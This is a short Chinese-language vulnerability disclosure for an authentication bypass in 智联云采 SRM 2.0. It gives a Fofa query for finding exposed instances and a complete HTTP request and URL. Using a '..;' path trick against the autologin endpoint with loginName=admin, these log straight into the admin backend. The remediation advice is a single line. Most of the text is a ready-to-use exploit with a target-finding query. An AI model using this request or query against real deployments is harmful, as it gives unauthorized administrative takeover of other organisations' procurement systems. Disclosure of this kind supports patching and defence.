智联云采SRM2.0 身份认证绕过

0x01 漏洞描述：

智联云采SRM2.0存在身份认证绕过漏洞，导致未授权的攻击者可以构造特殊绕过身份认证直接以管理员身份接管后台。

0x02 搜索语句：

Fofa：title=="SRM 2.0"

0x03 漏洞复现：

GET /adpweb/static/..;/api/sys/app/autologin?loginName=admin HTTP/1.1
Host: your-ip
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

 直接访问

http://your-ip/adpweb/static/..;/api/sys/app/autologin?loginName=admin

 

0x04 修复建议：

关闭外网访问权限 限制问题接口权限访问